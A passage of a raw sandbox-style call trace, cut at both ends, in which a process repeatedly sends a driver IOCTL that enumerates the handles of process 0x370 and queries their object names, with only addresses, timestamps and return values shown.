nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0113.354] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.354] PsAcquireProcessExitSynchronization () returned 0x0 [0113.355] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.355] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800317e850, HandleInformation=0x0) returned 0x0 [0113.355] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.355] PsReleaseProcessExitSynchronization () returned 0x2 [0113.355] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.355] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.355] ObfDereferenceObject (Object=0xfffffa800317e850) returned 0x1 [0113.355] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.355] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.355] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.355] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0113.355] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.355] PsAcquireProcessExitSynchronization () returned 0x0 [0113.355] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.355] ObReferenceObjectByHandle (in: Handle=0x100, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002f7fc80, HandleInformation=0x0) returned 0x0 [0113.355] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.355] PsReleaseProcessExitSynchronization () returned 0x2 [0113.355] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.355] ObQueryNameString (in: Object=0xfffffa8002f7fc80, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.355] ObfDereferenceObject (Object=0xfffffa8002f7fc80) returned 0x2 [0113.355] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.355] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.355] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.355] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0113.355] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.355] PsAcquireProcessExitSynchronization () returned 0x0 [0113.355] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.355] ObReferenceObjectByHandle (in: Handle=0x180, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0113.355] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.355] PsReleaseProcessExitSynchronization () returned 0x2 [0113.355] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.355] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.355] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0113.355] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.356] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.356] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.356] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0113.356] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.356] PsAcquireProcessExitSynchronization () returned 0x0 [0113.356] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.356] ObReferenceObjectByHandle (in: Handle=0x210, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0010a0bd0, HandleInformation=0x0) returned 0x0 [0113.356] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.356] PsReleaseProcessExitSynchronization () returned 0x2 [0113.356] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.356] ObQueryNameString (in: Object=0xfffff8a0010a0bd0, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.356] ObfDereferenceObject (Object=0xfffff8a0010a0bd0) returned 0x2 [0113.356] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.356] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.356] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.356] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0113.356] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.356] PsAcquireProcessExitSynchronization () returned 0x0 [0113.356] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.356] ObReferenceObjectByHandle (in: Handle=0x290, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0113.356] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.356] PsReleaseProcessExitSynchronization () returned 0x2 [0113.356] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.356] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.356] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0113.356] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.356] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.356] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.356] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0113.356] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.356] PsAcquireProcessExitSynchronization () returned 0x0 [0113.356] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.356] ObReferenceObjectByHandle (in: Handle=0x2d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0113.356] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.356] PsReleaseProcessExitSynchronization () returned 0x2 [0113.356] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.357] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800384f7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384f7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.357] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0113.357] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.357] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.357] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.357] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0113.357] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.357] PsAcquireProcessExitSynchronization () returned 0x0 [0113.357] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.357] ObReferenceObjectByHandle (in: Handle=0x388, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003215bb0, HandleInformation=0x0) returned 0x0 [0113.357] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.357] PsReleaseProcessExitSynchronization () returned 0x2 [0113.357] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.357] ObQueryNameString (in: Object=0xfffffa8003215bb0, ObjectNameInfo=0xfffffa8001fa97c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa97c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.357] ObfDereferenceObject (Object=0xfffffa8003215bb0) returned 0x1 [0113.357] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.357] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.357] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.357] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0113.357] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.357] PsAcquireProcessExitSynchronization () returned 0x0 [0113.357] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.357] ObReferenceObjectByHandle (in: Handle=0x394, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80032152f0, HandleInformation=0x0) returned 0x0 [0113.357] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.357] PsReleaseProcessExitSynchronization () returned 0x2 [0113.357] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.357] ObQueryNameString (in: Object=0xfffffa80032152f0, ObjectNameInfo=0xfffffa80037ab044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037ab044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.357] ObfDereferenceObject (Object=0xfffffa80032152f0) returned 0x1 [0113.357] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.357] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.357] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.357] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0113.357] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.357] PsAcquireProcessExitSynchronization () returned 0x0 [0113.357] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.358] ObReferenceObjectByHandle (in: Handle=0x448, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003231380, HandleInformation=0x0) returned 0x0 [0113.358] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.358] PsReleaseProcessExitSynchronization () returned 0x2 [0113.358] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.358] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800392e7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800392e7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.358] ObfDereferenceObject (Object=0xfffffa8003231380) returned 0x12 [0113.358] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.358] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.358] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.358] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0113.358] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.358] PsAcquireProcessExitSynchronization () returned 0x0 [0113.358] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.358] ObReferenceObjectByHandle (in: Handle=0x460, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002f6b070, HandleInformation=0x0) returned 0x0 [0113.358] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.358] PsReleaseProcessExitSynchronization () returned 0x2 [0113.358] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.358] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800254e7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800254e7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.358] ObfDereferenceObject (Object=0xfffffa8002f6b070) returned 0x1 [0113.358] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.358] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.358] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.358] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0113.358] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.358] PsAcquireProcessExitSynchronization () returned 0x0 [0113.358] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.358] ObReferenceObjectByHandle (in: Handle=0x464, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002f6bbc0, HandleInformation=0x0) returned 0x0 [0113.358] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.358] PsReleaseProcessExitSynchronization () returned 0x2 [0113.358] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.358] ObQueryNameString (in: Object=0xfffffa8002f6bbc0, ObjectNameInfo=0xfffffa80037aa7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037aa7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.358] ObfDereferenceObject (Object=0xfffffa8002f6bbc0) returned 0x1 [0113.358] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.358] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.358] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.359] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0113.359] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.359] PsAcquireProcessExitSynchronization () returned 0x0 [0113.359] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.359] ObReferenceObjectByHandle (in: Handle=0x468, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002f6bf20, HandleInformation=0x0) returned 0x0 [0113.359] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.359] PsReleaseProcessExitSynchronization () returned 0x2 [0113.359] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.359] ObQueryNameString (in: Object=0xfffffa8002f6bf20, ObjectNameInfo=0xfffffa800207b7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800207b7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.359] ObfDereferenceObject (Object=0xfffffa8002f6bf20) returned 0x2 [0113.359] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.359] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.359] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.359] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0113.359] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.359] PsAcquireProcessExitSynchronization () returned 0x0 [0113.359] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.359] ObReferenceObjectByHandle (in: Handle=0x46c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002f6b920, HandleInformation=0x0) returned 0x0 [0113.359] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.359] PsReleaseProcessExitSynchronization () returned 0x2 [0113.359] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.359] ObQueryNameString (in: Object=0xfffffa8002f6b920, ObjectNameInfo=0xfffffa8001fa37c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa37c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.359] ObfDereferenceObject (Object=0xfffffa8002f6b920) returned 0x2 [0113.359] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.359] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.359] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.359] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0113.359] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.359] PsAcquireProcessExitSynchronization () returned 0x0 [0113.359] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.359] ObReferenceObjectByHandle (in: Handle=0x470, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002f6b7d0, HandleInformation=0x0) returned 0x0 [0113.359] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.359] PsReleaseProcessExitSynchronization () returned 0x2 [0113.359] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.360] ObQueryNameString (in: Object=0xfffffa8002f6b7d0, ObjectNameInfo=0xfffffa800250d7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800250d7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.360] ObfDereferenceObject (Object=0xfffffa8002f6b7d0) returned 0x1 [0113.360] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.360] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.360] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.360] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0113.360] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.360] PsAcquireProcessExitSynchronization () returned 0x0 [0113.360] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.360] ObReferenceObjectByHandle (in: Handle=0x488, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800323d070, HandleInformation=0x0) returned 0x0 [0113.360] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.360] PsReleaseProcessExitSynchronization () returned 0x2 [0113.360] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.360] ObQueryNameString (in: Object=0xfffffa800323d070, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.360] ObfDereferenceObject (Object=0xfffffa800323d070) returned 0x2 [0113.360] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.360] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.360] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.360] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0113.360] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.360] PsAcquireProcessExitSynchronization () returned 0x0 [0113.360] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.360] ObReferenceObjectByHandle (in: Handle=0x490, DesiredAccess=0x0, ObjectType=0x0, 